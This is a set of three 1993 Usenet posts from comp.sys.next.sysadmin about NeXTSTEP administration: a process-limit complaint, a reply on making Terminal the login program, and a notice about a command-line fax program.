From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.sysadmin Subject: NS3.1 and "No more processes" Date: 30 Jun 93 15:04:13 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.93Jun30150413@nic.gac.edu> If I see "No more processes" about one more time on my system, I'm going to blow chunks. It'd be alright if you got the message when you were running fourteen separate compiles plus a could archivers for good measure - but, I'm getting it running just a couple programs. For instance, if I want to recompile two programs, I'd like to start both compiles and then leave my desk. They can compile on their own, then I can come back later and pick up the pieces if need be. Is there any way to increase the number of threads the kernel will run? Something like the -nbuf=* parameter to the boot command? I'm dying here! [Send email, I'll summarize.] Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
From: mgrdla@manager.Rose-Hulman.Edu (David L. Allabaugh) Newsgroups: comp.sys.next.sysadmin Subject: Re: loginwindow alternative to WM Date: 30 Jun 1993 20:08:49 GMT Organization: News Service at Rose-Hulman Message-ID: <20srshINNisn@master.cs.rose-hulman.edu> References: <20sisj$jm4@bigguy.eng.ufl.edu> Keywords: loginwindow, Terminal, login In article <20sisj$jm4@bigguy.eng.ufl.edu> ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.) writes: > And another important question: How, besides first logging in as > "console" (see footnote), can the ordinary user get a plain old shell > !instead! of the GUI. > I suppose this is done by setting the "Workspace" parameter for > "loginwindow" in the user's defaults database, but > dwrite loginwindow Workspace /bin/csh > doesn't work (for subsequent logins), I guess because the window-manager > is still running and the shell's stdin and stdout aren't connected to .. > > From this shell, can he subsequently type a command to get the GUI? I'm > asking about a sequence whereby the user logs in and is given a shell, > then can later fire up Workspace manager. Close. You cant' just start up a shell, you have to start up an application to handle the shell. The easiest way to do this is to select Terminal as the default startup application. To do so: dwrite loginwindow Workspace /NextApps/Terminal This will bring up something called Workspace Helper and allows the standard usage the Terminal application. It will come up alot more quickly, but will still allow such niceties as cut/paste. It is also possible to start Workspace in almost the standard manner after this. You merely issue the command which Workspace normally runs under on your system. In almost all cases this is: /usr/lib/NextStep/Workspace.app/Workspace -LoginProgram YES There are a few things to note about this. Since you started the command from Terminal you can't close that terminal window or kill terminal or your whole session goes away. If you background the process then I believe this allows you to close that window, but I believe that you still get logged out if you quit Terminal. It should be noted that I have not tried this under 3.0 or 3.1. I know that it runs with minimal bugs under 2.2 or below. Hope this helps. (By the way, did this ever get added to the FAQ? I haven't seen the FAQ in about a bazillion years, so I wouldn't know.) --- Dave Allabaugh Rose-Hulman Institute of Technology Unix Manager Waters Computing Center
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan) Newsgroups: comp.sys.next.sysadmin Subject: Re: command line faxing Date: 30 Jun 1993 21:11:13 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <20svhh$fr1@skates.gsfc.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Please no more email requests for our "unofficial hack"! Anyway, I realized that our hack that does command line faxing depends on an expensive commercial library that gives you full-screen editing capability from the command line. As it says in the README: The program "fax" provides command line faxing to a NeXT workstation, through a menu created using the "fsp" or "full screen processor" library which can be purchased for $595 from Information Concepts, Inc 1413 K Street, NW Washington, DC 20005 (202) 682-0330 The current version is 89.2, and it works in any unix environment with termcap or termlib. The names "clouds" and CloudsFax" must be replaced by the nodename of the fax host, and the name of the fax on that host, repectively. If you still want it after hearing this, you can ftp the source from climate.gsfc.nasa.gov, in the directory pub/nextfax In any case, NO MORE EMAIL REQUESTS PLEASE!!! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... .cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center .*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. .FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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